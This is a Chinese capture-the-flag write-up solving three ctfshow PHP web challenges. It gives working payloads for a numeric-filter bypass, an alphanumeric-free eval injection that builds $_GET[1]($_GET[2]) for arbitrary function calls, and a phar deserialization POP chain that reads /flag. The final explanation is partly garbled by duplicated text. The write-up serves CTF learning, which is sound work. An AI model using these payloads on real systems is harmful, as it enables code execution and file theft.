shellme
搜索ctfshow即可
热身
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
//参数等于4476不行
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
//匹配到小写字母和.不行
die("no no no!!");
}
if(!strpos($num, "0")){
//必须没有0
die("no no no!!!");
}
if(intval($num,0)===4476){
//num强等于4476
echo $flag;
}
}
首先,第一个条件是经过弱类型处理后的num不能等于4476,再加上第二道坎,多以字符串4476掺杂字符是过不了的,strpos函数漏洞也被ban了,但是strpos是有三个参数的,当第三参数默认时,则默认为从第0位开始找
<?php
$a = '00123';
if(strpos($a,'0')){
echo "不是从第0位";
}else{
echo "从第0位开始的";
}
?>
所以利用8进制配合+即可绕过
?num=+010574
shellme_Revenge
f3页面查找hint:
hint=%3Flooklook; ===>hint=?looklook;
在cookie中也存在hint
然后?looklook=1即可得到题目源码:
<?php
error_reporting(0);
if ($_GET['looklook']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
}else{
echo("fucccc hacker!!");
}
}
} else {
phpinfo();
}
?>
一道命令执行题目!!!
所有可见符号基本已经过滤了!!!
可用的字符有:大写C
、0到3
、[
、]
、$
、_
、(
、)
、;
一些不包含数字和字母的webshell利用的是方法三:
利用的是:
强制连接数组和字符串,数组将被转换成字符串
<?php
$a = ''.[];
echo $a;//Array
?>
这里可以利用:
- PHP认为结果是无限大时,给出的结果是:INF(Infinite)
- 如果一个数超出 Infinite(无限大,正无穷),那就是: NAN(not-a-number)
<?php
$a = var_dump(C/C);//float(NAN)
$b = var_dump(1/C);//float(INF)
echo $a.$b;
?>
字母/字母=0/0就会被认为是无法被测量也就是NaN
1/字母=1/0会被认为无限大INF
但是想要得到单个字符还需要连接一个字符:
<?php
$a = C/C.C;
echo $a[0];//N
?>
那我们需要的语句是:$_GET[0]($_GET[1])
例子 | 名称 | 效果 |
---|---|---|
++$a | 前加 | $a 的值加一,然后返回 $a。 |
$a++ | 后加 | 返回 $a,然后将 $a 的值加一。 |
–$a | 前减 | $a 的值减一, 然后返回 $a。 |
$a– | 后减 | 返回 $a,然后将 $a 的值减一。 |
自增开始:
<?php
$_=C;
$_++; //D
$C=++$_; //E
$_++; //F
$C_=++$_; //G
$_=(C/C.C)[0]; //N
$_++; //O
$_++; //P
$_++; //Q
$_++; //R
$_++; //S
$_=_.$C_.$C.++$_; //_GET
$$_[1]($$_[2]); //$_GET[1]($_GET[2])
?>
payload:ctf_show=$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C)[0];$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;$$_[1]($$_[2]);
url编码:ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
ATTup
抓包去上一级目录查找源码:
class View {
public $fn;
public function __invoke(){
//当脚本尝试将对象调用为函数时触发
$text = base64_encode(file_get_contents($this->fn));
echo "<script>alert('".$text."');self.location=document.referrer;</script>";
}
}
class Fun{
public $fun = ":)";
public function __toString(){
//当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法
$fuc = $this->fun;
$fuc();
return "<script>alert('Be a happy string~');self.location=document.referrer;</script>";
}
public function __destruct()//析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用
{
echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>";
}
}
$filename = $_POST["file"];
$stat = @stat($filename);
没有序列化的点,同时满足上传,所以是利用上传phar文件然后phar://协议来执行
利用phar://协议的条件:
1、能将phar文件上传
2、可利用函数 stat、fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、readfile、md5_file、filesize
3、存在魔术方法
4、: / phar 这些字符没有给过滤
<?php
class Fun{
public $fun ;
}
class View {
public $fn='/flag';
}
$d=new Fun();//实例化对象
$v = new View();//实例化对象
$d->fun = $v;//第一层嵌套,为了触发invoke而准备的
$new = new Fun();//再实例化一个对象
$new->fun = $d;//为触发tostring而准备的
$phar = new Phar("test.phar"); //文件名,后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.' __HALT_COMPILER();'); //设置stub
$phar->setMetadata($new); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
可以倒着看pop链首先让$new->fun = $d;
而此时的 d 是 一 个 对 象 , 而 d是一个对象,而 d是一个对象,而new->fun会在析构函数中被当做字符串拼接,也就是 d 一 个 对 象 被 作 为 字 符 串 输 出 , 所 以 就 会 调 用 t o s t r i n g , 此 时 ‘ d一个对象被作为字符串输出,所以就会调用tostring,此时` d一个对象被作为字符串输出,所以就会调用tostring,此时‘d->fun = v ; ‘ f u n c = v;`func= v;‘func=v,而$v也是一个对象,所以把对象当成一个函数调用就会触发类view中的invoke方法,又因为fn可控所以就会读出我们想要的文件
然后解码就可以了